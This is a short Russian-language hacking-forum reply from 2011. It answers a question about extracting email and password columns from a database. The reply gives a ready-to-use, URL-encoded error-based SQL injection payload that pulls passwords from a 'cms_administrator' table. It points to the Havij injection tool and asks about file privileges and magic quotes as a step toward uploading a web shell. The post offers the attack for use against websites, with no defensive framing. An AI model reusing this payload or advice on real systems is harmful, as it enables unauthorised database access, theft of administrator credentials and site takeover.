30.11.2011, 00:51
|
|
Познающий
Регистрация: 30.10.2011
Сообщений: 37
С нами:
7650326
Репутация:
1
|
|
Сообщение от h0w1tz3r
Т.е. к примеру , информация нахоидтся в базе мастер, таблица аккаунтс , и 2 колонки имейл и пасс, как это вывести?? С учетом что в mssql не работает. Union функция.
Если я все правильно понял то:
1) конструкция такова к примеру в cms_administrator хранятся пассы password
'+or+1+group%20by%20concat((select%20concat(0x3a,p assword,0x3a)%20from%20cms_administrator%20limit%2 00,1),floor(rand(0)*2))%20having%20min(0)%20or%201 ='
если это error based
2) если работаешь в havij то значения он выведет если нажать кнопку Get Data
3)вопрос, а с чего ты взял что шелл залить некуда? file_priv и m.q значения какие?
|
|
|